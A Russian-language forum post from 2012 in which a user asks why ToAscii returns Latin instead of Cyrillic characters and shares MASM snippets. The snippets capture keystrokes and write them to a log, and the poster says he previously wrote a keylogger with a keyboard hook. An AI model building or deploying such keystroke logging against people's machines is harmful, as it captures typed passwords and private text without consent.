Получить русский символ

Тема в разделе "WASM.WIN32", создана пользователем teXture, 24 фев 2012.

  1. teXture

    teXture New Member

    Публикаций:
    0
    Регистрация:
    17 апр 2011
    Сообщения:
    17
    Здравствуйте. Пытаюсь из виртуальной кода клавиши получить русский символ. Подскажите, пожалуйста, что я делаю не так.
    Код (Text):
    1.               invoke GetKeyboardState,addr KeybState   ; KeybState db 255 dup(?)
    2.               invoke MapVirtualKey,edi,NULL
    3.               invoke ToAscii,edi,eax,addr KeybState,addr BuffKey,NULL
    4.               invoke GetAsyncKeyState,VK_SHIFT
    5.                .if eax != NULL
    6.                 sub byte ptr [BuffKey],20h
    7.                .endif
    8.               invoke SaveToLog,addr BuffKey
    EDI содержит виртуальный код. Что русская раскладка, что нет, буквы все равно латинские получаются. Что интересно если в параметрах языковой панели “Язык ввода по умолчанию” стоит “Русская – Русская”, то символы русские получаются.

    До этого писал кейлоггер методом установки хука. Вроде те же параметры ToAscii получает. Но он работал как надо.

    Код (Text):
    1.             ;wParam0 - virtual-key code
    2.             ;lParam0 - keystroke-message information
    3.  
    4.             invoke GetKeyboardState,addr KeybState
    5.             mov eax,lParam0
    6.             shr eax,16
    7.             and eax,0FFh
    8.             invoke ToAscii,wParam0,eax,addr KeybState,addr BufKey,NULL